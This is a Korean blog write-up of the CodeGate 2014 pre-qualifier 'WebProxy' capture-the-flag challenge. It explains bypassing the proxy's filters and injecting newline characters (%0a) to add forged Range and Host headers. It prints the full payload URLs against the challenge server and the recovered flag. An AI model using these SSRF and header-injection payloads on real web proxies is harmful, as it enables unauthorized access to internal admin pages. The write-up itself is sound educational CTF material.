상세 컨텐츠

본문 제목

CodaGate 2014 PreQual WebProxy write-up

0x10 정보보안/0x13 Write-Up

by sweetchip 2014. 2. 25. 09:30

본문

반응형




문제는 말그대로 WebProxy 문제이고 웹사이트 링크를 넣으면 서버가 그 곳에 get 메소드로 요청한뒤 정보를 받아온다.


문제 html 소스코드를 살펴보면 마지막줄에 <!-- admin/index.php --> 라는 소스코드가 있는데, 이 url로 접속해보니 403 Access 관련 오류가 나온다.


문제 의도는 admin 페이지를 읽는것으로 추정하고 문제 풀이에 들어갔다.


먼저 조금더 확인을 위해 여러 url과 필터링되는 값을 알아본 결과 // 와 php 라는 글자가 필터링된다.


이후 잠시 진전이 없다가 127.0.0.1/~/admin/ 으로 접근하면 어떨까 생각이 들고 바로 시행한 결과 200 OK 사인이 떨어졌다.




하지만 문제점이있다.


이렇게 access가 된다고 해도 2줄밖에 표시를 안한다는 점인데 이점은 Range 헤더를 추가하면 간단히 해결 할 수 있다.


하지만 http 헤더를 추가하는 방법이 감이 안잡혀 고민하다가 개행문자가 떠올랐다.


바로 %0a 인데 이것을 사용하면 되지 않을까 하고 바로 시행했다.


nc로 포트를 열고 웹프록시가 나에게 보내는 헤더를 보니 


GET / HTTP/1.0

HOST : 2**.1**.2**.2** (일부 모자이크 처리)


이었는데 이곳에 개행문자를 삽입하면


GET / 

HTTP/1.0

HOST : 2**.1**.2**.2** (일부 모자이크 처리)


이렇게 되는것을 확인했고 바로 공격을 시도했다.


http://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=127.0.0.1/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/%20HTTP/1.0%0aRange:%20bytes=372-415%0aReferer:


결과 : <!--if($_SERVER[HTTP_HOST]=="hackme")--></bo


range로 372 ~ 415 바이트 구간을 본 결과 host 값이 hackme 로 되어야 한다.


또 range로 앞부분을 살펴보면 Access Denied가 나오는데 아직 문제 풀이가 덜 됬다는 것을 알수 있다.


하지만 host 를 hackme로 한결과 그래도 accessdenied가 나오는데 아마 중복헤더 때문에 그런것 같은 느낌이다.

GET / 

HTTP/1.0

HOST : hackme

HOST : 2**.1**.2**.2** (일부 모자이크 처리)


위와 같이 중복헤더가 생성되어 if문을 통과하지 못했는데, 이는 간단하게 해결할 수 있다.


최종 페이로드는 다음과 같다.


http://58.229.183.25/188f6594f694a3ca082f7530b5efc58dedf81b8d/index.php?url=localhost/188f6594f694a3ca082f7530b5efc58dedf81b8d/admin/%20HTTP/1.0%0aRange:%20bytes=76-121%0aHost:%20hackme%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0aReferer:


결과 


HTTP/1.1 206 Partial Content

Date: Sat, 22 Feb 2014 15:22:17 GMT

Server: Apache/2.4.6 (Ubuntu)

X-Powered-By: PHP/5.5.3-1ubuntu2.1

Vary: Accept-Encoding

Content-Range: bytes 76-121/127

Content-Length: 46

Connection: close

Content-Type: text/html



Password is WH0_IS_SnUS_bI1G_F4N



Key : WH0_IS_SnUS_bI1G_F4N

반응형

관련글 더보기